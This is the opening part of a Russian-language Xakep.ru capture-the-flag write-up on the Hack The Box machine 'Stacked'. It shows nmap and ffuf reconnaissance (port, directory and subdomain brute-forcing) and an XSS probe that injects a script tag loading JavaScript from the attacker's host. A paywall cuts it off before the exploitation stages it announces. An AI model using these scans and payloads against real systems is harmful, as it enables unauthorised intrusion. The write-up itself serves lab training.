В этой статье мы про­экс­плу­ати­руем XSS-уяз­вимость, получим дос­туп к Docker, заюзав баг в LocalStack, а затем зай­мем­ся по‑нас­тояще­му инте­рес­ной задачей — повыше­нием при­виле­гий внут­ри Docker и побегом из кон­тей­нера через OS Command Injection.

Все перечис­ленное нам понадо­бит­ся, что­бы прой­ти машину Stacked с пло­щад­ки Hack The Box. Ее уро­вень слож­ности заяв­лен как «безум­ный» (Insane), но мы спра­вим­ся, вот уви­дишь!

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.112 stacked.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

На­ходим три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.2p1;
  • 80 — веб‑сер­вер Apache 2.4.41;
  • 2376 — порт для безопас­ного дос­тупа к Docker.

Пер­вым делом идем смот­реть веб. Там нас встре­чает прос­тень­кая стра­нич­ка, на которой идет отсчет вре­мени. Поле вво­да, судя по все­му, не выпол­няет никаких опе­раций, а лишь переб­расыва­ет на index.html.

Главная страница сайта stacked.htb
Глав­ная стра­ница сай­та stacked.htb
 

Сканирование веб-контента

Да­вай поищем на сай­те скры­тые ресур­сы.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

За­пус­каем ска­ниро­вание:

ffuf -u http://stacked.htb/FUZZ -t 256 -w files_interesting.txt -mc 200,204,301,302,307,401,405
Результат сканирования файлов с помощью ffuf
Ре­зуль­тат ска­ниро­вания фай­лов с помощью ffuf

Мы не наш­ли ничего инте­рес­ного. Пов­торим ска­ниро­вание в надеж­де обна­ружить скры­тые катало­ги.

ffuf -u http://stacked.htb/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt -mc 200,204,301,302,307,401,405
Результат сканирования каталогов с помощью ffuf
Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

То­же ничего. Но закан­чивать ска­ниро­вание рано, ведь еще мож­но переб­рать под­домены. Это дол­жно при­вес­ти нас к новым сай­там на том же сер­вере. Для это­го будем переби­рать вир­туаль­ный хост в HTTP-заголов­ке Host:

ffuf -u http://stacked.htb -t 256 -w subdomains-top1million-110000.txt -H 'Host: FUZZ.stacked.htb' -mc 200
Результат сканирования поддоменов с помощью ffuf
Ре­зуль­тат ска­ниро­вания под­доменов с помощью ffuf

И это дает резуль­тат — нам дос­тупен еще один сайт. Добав­ляем запись в файл /etc/hosts и идем смот­реть стра­ницу.

10.10.11.112 stacked.htb portfolio.stacked.htb
Главная страница сайта portfolio.stacked.htb
Глав­ная стра­ница сай­та portfolio.stacked.htb

На сай­те ска­зано про исполь­зование тех­нологии Docker LocalStack для ими­тации сер­висов AWS. Для под­клю­чения нам дают ска­чать файл docker-compose.yml.

Содержимое файла docker-compose.yml
Со­дер­жимое фай­ла docker-compose.yml

Чуть ниже видим фор­му, через которую мож­но отпра­вить сооб­щение. Так как нам при­ходит уве­дом­ление, зна­чит, это оче­вид­ное мес­то для поис­ка XSS-уяз­вимос­ти.

Уведомление об отправке сообщения
Уве­дом­ление об отправ­ке сооб­щения

Поп­робу­ем отпра­вить прос­той код, который дол­жен заг­рузить JS-файл с нашего сер­вера:

<script src="http://10.10.14.93/test.js"></script>

В ответ получа­ем сооб­щение о детек­те XSS.

Уведомление о детекте XSS
Уве­дом­ление о детек­те XSS
 

Точка входа

 

XSS

Нам пред­сто­ит прор­вать­ся сквозь филь­тр XSS, а для это­го пер­вым делом выяс­ним, где он работа­ет — на сер­вере или пря­мо в нашем бра­узе­ре. Это мож­но сде­лать, испра­вив зна­чение полей при перех­вате зап­роса в Burp, одна­ко мы получим тот же ответ о детек­те. Зна­чит, про­вер­ка идет на сер­вере.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии